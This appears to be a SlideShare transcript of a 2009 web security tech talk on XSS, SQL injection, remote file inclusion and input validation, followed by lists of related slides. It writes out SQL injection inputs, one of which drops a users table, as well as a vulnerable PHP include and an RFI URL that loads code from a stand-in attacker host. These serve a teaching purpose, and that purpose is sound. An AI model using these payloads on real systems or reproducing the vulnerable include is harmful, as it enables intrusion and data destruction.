SlideShare a Scribd company logo
Web Security: Tech Talk Mallik http://codeinspections.blogspot.com March 20 th , 2009
Introduction Web applications are accessible openly on web there by making it more prone to hacking. Web Developers are not well versed with security issues because of which the applications are prone to vulnerabilities. Web applications run in the browser, any security loop hole in browser will lead to exploiting vulnerability in web application.
Where do security bugs hide ? Functional Bugs Security Bugs Design Implementation
Web Vulnerabilities XSS (Cross Site Scripting) Attack [44%] SQL Injection [25%] Input Validation [8%] Remote File Inclusion [17%] Cookie Theft [3%]
XSS (Cross Site Scripting) XSS :  code injection by malicious web users into the web pages. Non Persistent: These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. Ex: Search Engines [exploits using social engineering]  Example Persistent: XSS vulnerability that exists when data provided to a web application by a user is stored persistently on the server  Ex: Blogger Comments Example
XSS (Cross Site Scripting) Exploits Session Hijacking / Cookie Theft [ Example ] Redirecting the page to hacker’s desired location [persistent] [ Example ]
Preventing XSS Escaping/Filtering Some of characters like <,> as we do for Portal Application Replacing characters < with &lt; and > with &gt; Both the above solutions prevent users from entering rich HTML content which is required for many web 2.0 Products Escape HTML tags which can be malicious like <script>, <meta> etc. Blogger, MySpace are some with this kind of implementation.
SQL Injection SQL Injection is a security vulnerability occurring in the DB layer. It is method to inject SQL command/query through the webpage. Hacker can come up with an intelligent input which may cause the application to do what it is not supposed to do.  Examples: Incorrect escaping/Filtering: Query:  statement = &quot;SELECT * FROM users WHERE name = '&quot; +  userName  + &quot;';&quot;  Hacker’s input:  a’ OR ‘x’=x Final Statement = SELECT * FROM users WHERE name = ‘a’ OR ‘x’=x’;
SQL Injection More Serious attack: Query:  statement = &quot;SELECT * FROM users WHERE name = '&quot; + userName + &quot;';&quot;  Hacker’s input:  a’; Drop Table Users; Select * from Users where name like ‘% Final Statement = SELECT * FROM users WHERE name = ‘ a’; Drop Table Users; Select * from Users where name like ‘% ’
Preventing SQL Injection  Escaping Special Characters Error-prone way to prevent injections is to  escape  dangerous characters. - Replacing  ‘  with  ‘’   - In MYSQL, use mysql_real_escape_string() to escape special characters  Using Parameterized Statements myCommand = new SqlCommand(&quot;SELECT * FROM USERS WHERE USERNAME=@username AND PASSWORD= @password&quot;, myConnection)) {  myCommand.Parameters.AddWithValue(&quot;@username&quot;, user); myCommand.Parameters.AddWithValue(&quot;@password&quot;, pass);
Remote File Inclusion RFI vulnerabilities allow hackers to run their code on the web servers. XSS is code injection on client side, whereas RFI is on server side. Bad coding practice where filenames were sent as Query parameters can be used as any normal variable in the code. This was one of common PHP vulnerabilities in early days.
RFI Example <?php $file=$_REQUEST[‘file’]; include ($file.&quot;php&quot;); ?> URL: http://test.com/test.php?file=http://hack.com/hack.php? The code in hack.php would get executed on the server
Input Validation Most of security vulnerabilities are because of Hacky input. Input Validation on Client Side (javascript) alone will not suffice. We need to have check for user input on both Client and Server. Hacker can  disable the checks on client side and send invalid input to Server Side. ( Example ) Example:  Shopping site example about how serious a attack can be if there is no server side check.
Security Vulnerability Via Browser Bugs  Browser bugs can sometimes lead to finding vulnerabilities in the Web Applications Example is Cross-Domain XMLHTTP Vulnerability in First version of Chrome What is Cross-Domain XMLHTTP ? What was bug in Chrome Version 1.0 ?  Example
Lessons to Learn Web Security is not Rocket science Validate Input Validate output Watch for New Security Attacks and how they affect your products
Thank You

More Related Content

PPTX
Web application attacks
PPTX
Website hacking and prevention (All Tools,Topics & Technique )
PPTX
Abusing Google Apps and Data API: Google is My Command and Control Center
PPTX
Web Hacking Intro
PPT
Hackers Paradise SQL Injection Attacks
PPT
Intro to Web Application Security
PPT
Writing Secure Code – Threat Defense
PPTX
Owasp Top 10 A1: Injection
Web application attacks
Website hacking and prevention (All Tools,Topics & Technique )
Abusing Google Apps and Data API: Google is My Command and Control Center
Web Hacking Intro
Hackers Paradise SQL Injection Attacks
Intro to Web Application Security
Writing Secure Code – Threat Defense
Owasp Top 10 A1: Injection

What's hot (20)

PPT
Web Application Security
PPTX
Web application attack Presentation
PPT
Top 10 Web Security Vulnerabilities (OWASP Top 10)
PPTX
Secure Code Warrior - Trust no input
PDF
State of Web Security RailsConf 2016
PDF
Owasp top 10 web application security hazards - Part 1
ODP
Top 10 Web Security Vulnerabilities
PPTX
A7 Missing Function Level Access Control
PDF
Testing Web Application Security
PDF
Owasp top 10 web application security hazards part 2
PDF
What Should Go Into A Web Application Penetration Testing Checklist?
PPTX
Security testing
DOC
Attackers Vs Programmers
PDF
Penetration testing web application web application (in) security
PPTX
Owasp top 10 security threats
PDF
Web Security 101
PDF
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
PPTX
OWASP top 10-2013
PPT
PDF
Broken access controls
Web Application Security
Web application attack Presentation
Top 10 Web Security Vulnerabilities (OWASP Top 10)
Secure Code Warrior - Trust no input
State of Web Security RailsConf 2016
Owasp top 10 web application security hazards - Part 1
Top 10 Web Security Vulnerabilities
A7 Missing Function Level Access Control
Testing Web Application Security
Owasp top 10 web application security hazards part 2
What Should Go Into A Web Application Penetration Testing Checklist?
Security testing
Attackers Vs Programmers
Penetration testing web application web application (in) security
Owasp top 10 security threats
Web Security 101
Reliable and fast security audits - The modern and offensive way-Mohan Gandhi
OWASP top 10-2013
Broken access controls
Ad

Viewers also liked (20)

PPT
Latvia - Presentation from Veronika
PPT
Facts About The Tundra Brigger
PPT
Green-White Dialoog ZL 3 Maart
PDF
Waddell Slideshowpdf
PPT
Itb Chap 11
PPT
Prayer
PDF
Innerwealth Living Inspired Magazine August Issue
PPT
Itb Chap 07
PPSX
Fortheinternet
PPS
PPTX
Dimensional Modeling
PPTX
Social network_2010
PDF
Axfood q2 2010_presentation
PDF
Mapping of HIV/AIDS Facilities in Maharashtra by Dr. C. A. K. Yesudian
PDF
Talent Connect Live Stream Behind the Scenes
PPTX
Badges, Badgers, Mushrooms, and a Snake
PDF
Interim report Axfood Q3 2010
PPT
Test Driven Development
PPT
Cold Tundra Project Watts
Latvia - Presentation from Veronika
Facts About The Tundra Brigger
Green-White Dialoog ZL 3 Maart
Waddell Slideshowpdf
Itb Chap 11
Prayer
Innerwealth Living Inspired Magazine August Issue
Itb Chap 07
Fortheinternet
Dimensional Modeling
Social network_2010
Axfood q2 2010_presentation
Mapping of HIV/AIDS Facilities in Maharashtra by Dr. C. A. K. Yesudian
Talent Connect Live Stream Behind the Scenes
Badges, Badgers, Mushrooms, and a Snake
Interim report Axfood Q3 2010
Test Driven Development
Cold Tundra Project Watts
Ad

Similar to Security Tech Talk (20)

PPT
Application Security
PPTX
04. xss and encoding
PPTX
webapplicationattacks-101005070110-phpapp02.pptx
PPT
4.Xss
PPT
Owasp Top 10 - Owasp Pune Chapter - January 2008
PPT
Top Ten Web Hacking Techniques – 2008
PPT
Why You Need A Web Application Firewall
PPTX
Cross Site Scripting ( XSS)
PPT
Web Attacks - Top threats - 2010
PPT
Web Application Security
PPTX
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
PDF
Sql Injection and XSS
PPTX
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
PPT
Web Application Security: The Land that Information Security Forgot
PDF
Rich Web App Security - Keeping your application safe
PDF
SeanRobertsThesis
PPTX
Best practices of web app security (samvel gevorgyan)
PPTX
Web Application Security - Folio3
PPT
Andrews whitakrer lecture18-security.ppt
Application Security
04. xss and encoding
webapplicationattacks-101005070110-phpapp02.pptx
4.Xss
Owasp Top 10 - Owasp Pune Chapter - January 2008
Top Ten Web Hacking Techniques – 2008
Why You Need A Web Application Firewall
Cross Site Scripting ( XSS)
Web Attacks - Top threats - 2010
Web Application Security
WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE
Sql Injection and XSS
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
Web Application Security: The Land that Information Security Forgot
Rich Web App Security - Keeping your application safe
SeanRobertsThesis
Best practices of web app security (samvel gevorgyan)
Web Application Security - Folio3
Andrews whitakrer lecture18-security.ppt

Recently uploaded (20)

PDF
2.FourierTransform-ShortQuestionswithAnswers.pdf
PDF
O5-L3 Freight Transport Ops (International) V1.pdf
PDF
Supply Chain Operations Speaking Notes -ICLT Program
PPTX
Renaissance Architecture: A Journey from Faith to Humanism
PDF
Complications of Minimal Access Surgery at WLH
PPTX
Final Presentation General Medicine 03-08-2024.pptx
PDF
STATICS OF THE RIGID BODIES Hibbelers.pdf
PPTX
IMMUNITY IMMUNITY refers to protection against infection, and the immune syst...
PPTX
GDM (1) (1).pptx small presentation for students
PDF
Computing-Curriculum for Schools in Ghana
PPTX
master seminar digital applications in india
PDF
TR - Agricultural Crops Production NC III.pdf
PPTX
Microbial diseases, their pathogenesis and prophylaxis
PPTX
PPH.pptx obstetrics and gynecology in nursing
PDF
ANTIBIOTICS.pptx.pdf………………… xxxxxxxxxxxxx
PDF
O7-L3 Supply Chain Operations - ICLT Program
PDF
Basic Mud Logging Guide for educational purpose
PDF
Black Hat USA 2025 - Micro ICS Summit - ICS/OT Threat Landscape
PDF
Physiotherapy_for_Respiratory_and_Cardiac_Problems WEBBER.pdf
PDF
Insiders guide to clinical Medicine.pdf
2.FourierTransform-ShortQuestionswithAnswers.pdf
O5-L3 Freight Transport Ops (International) V1.pdf
Supply Chain Operations Speaking Notes -ICLT Program
Renaissance Architecture: A Journey from Faith to Humanism
Complications of Minimal Access Surgery at WLH
Final Presentation General Medicine 03-08-2024.pptx
STATICS OF THE RIGID BODIES Hibbelers.pdf
IMMUNITY IMMUNITY refers to protection against infection, and the immune syst...
GDM (1) (1).pptx small presentation for students
Computing-Curriculum for Schools in Ghana
master seminar digital applications in india
TR - Agricultural Crops Production NC III.pdf
Microbial diseases, their pathogenesis and prophylaxis
PPH.pptx obstetrics and gynecology in nursing
ANTIBIOTICS.pptx.pdf………………… xxxxxxxxxxxxx
O7-L3 Supply Chain Operations - ICLT Program
Basic Mud Logging Guide for educational purpose
Black Hat USA 2025 - Micro ICS Summit - ICS/OT Threat Landscape
Physiotherapy_for_Respiratory_and_Cardiac_Problems WEBBER.pdf
Insiders guide to clinical Medicine.pdf

Security Tech Talk

  • 1. Web Security: Tech Talk Mallik http://codeinspections.blogspot.com March 20 th , 2009
  • 2. Introduction Web applications are accessible openly on web there by making it more prone to hacking. Web Developers are not well versed with security issues because of which the applications are prone to vulnerabilities. Web applications run in the browser, any security loop hole in browser will lead to exploiting vulnerability in web application.
  • 3. Where do security bugs hide ? Functional Bugs Security Bugs Design Implementation
  • 4. Web Vulnerabilities XSS (Cross Site Scripting) Attack [44%] SQL Injection [25%] Input Validation [8%] Remote File Inclusion [17%] Cookie Theft [3%]
  • 5. XSS (Cross Site Scripting) XSS : code injection by malicious web users into the web pages. Non Persistent: These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. Ex: Search Engines [exploits using social engineering] Example Persistent: XSS vulnerability that exists when data provided to a web application by a user is stored persistently on the server Ex: Blogger Comments Example
  • 6. XSS (Cross Site Scripting) Exploits Session Hijacking / Cookie Theft [ Example ] Redirecting the page to hacker’s desired location [persistent] [ Example ]
  • 7. Preventing XSS Escaping/Filtering Some of characters like <,> as we do for Portal Application Replacing characters < with &lt; and > with &gt; Both the above solutions prevent users from entering rich HTML content which is required for many web 2.0 Products Escape HTML tags which can be malicious like <script>, <meta> etc. Blogger, MySpace are some with this kind of implementation.
  • 8. SQL Injection SQL Injection is a security vulnerability occurring in the DB layer. It is method to inject SQL command/query through the webpage. Hacker can come up with an intelligent input which may cause the application to do what it is not supposed to do. Examples: Incorrect escaping/Filtering: Query: statement = &quot;SELECT * FROM users WHERE name = '&quot; + userName + &quot;';&quot; Hacker’s input: a’ OR ‘x’=x Final Statement = SELECT * FROM users WHERE name = ‘a’ OR ‘x’=x’;
  • 9. SQL Injection More Serious attack: Query: statement = &quot;SELECT * FROM users WHERE name = '&quot; + userName + &quot;';&quot; Hacker’s input: a’; Drop Table Users; Select * from Users where name like ‘% Final Statement = SELECT * FROM users WHERE name = ‘ a’; Drop Table Users; Select * from Users where name like ‘% ’
  • 10. Preventing SQL Injection Escaping Special Characters Error-prone way to prevent injections is to escape dangerous characters. - Replacing ‘ with ‘’ - In MYSQL, use mysql_real_escape_string() to escape special characters Using Parameterized Statements myCommand = new SqlCommand(&quot;SELECT * FROM USERS WHERE USERNAME=@username AND PASSWORD= @password&quot;, myConnection)) { myCommand.Parameters.AddWithValue(&quot;@username&quot;, user); myCommand.Parameters.AddWithValue(&quot;@password&quot;, pass);
  • 11. Remote File Inclusion RFI vulnerabilities allow hackers to run their code on the web servers. XSS is code injection on client side, whereas RFI is on server side. Bad coding practice where filenames were sent as Query parameters can be used as any normal variable in the code. This was one of common PHP vulnerabilities in early days.
  • 12. RFI Example <?php $file=$_REQUEST[‘file’]; include ($file.&quot;php&quot;); ?> URL: http://test.com/test.php?file=http://hack.com/hack.php? The code in hack.php would get executed on the server
  • 13. Input Validation Most of security vulnerabilities are because of Hacky input. Input Validation on Client Side (javascript) alone will not suffice. We need to have check for user input on both Client and Server. Hacker can disable the checks on client side and send invalid input to Server Side. ( Example ) Example: Shopping site example about how serious a attack can be if there is no server side check.
  • 14. Security Vulnerability Via Browser Bugs Browser bugs can sometimes lead to finding vulnerabilities in the Web Applications Example is Cross-Domain XMLHTTP Vulnerability in First version of Chrome What is Cross-Domain XMLHTTP ? What was bug in Chrome Version 1.0 ? Example
  • 15. Lessons to Learn Web Security is not Rocket science Validate Input Validate output Watch for New Security Attacks and how they affect your products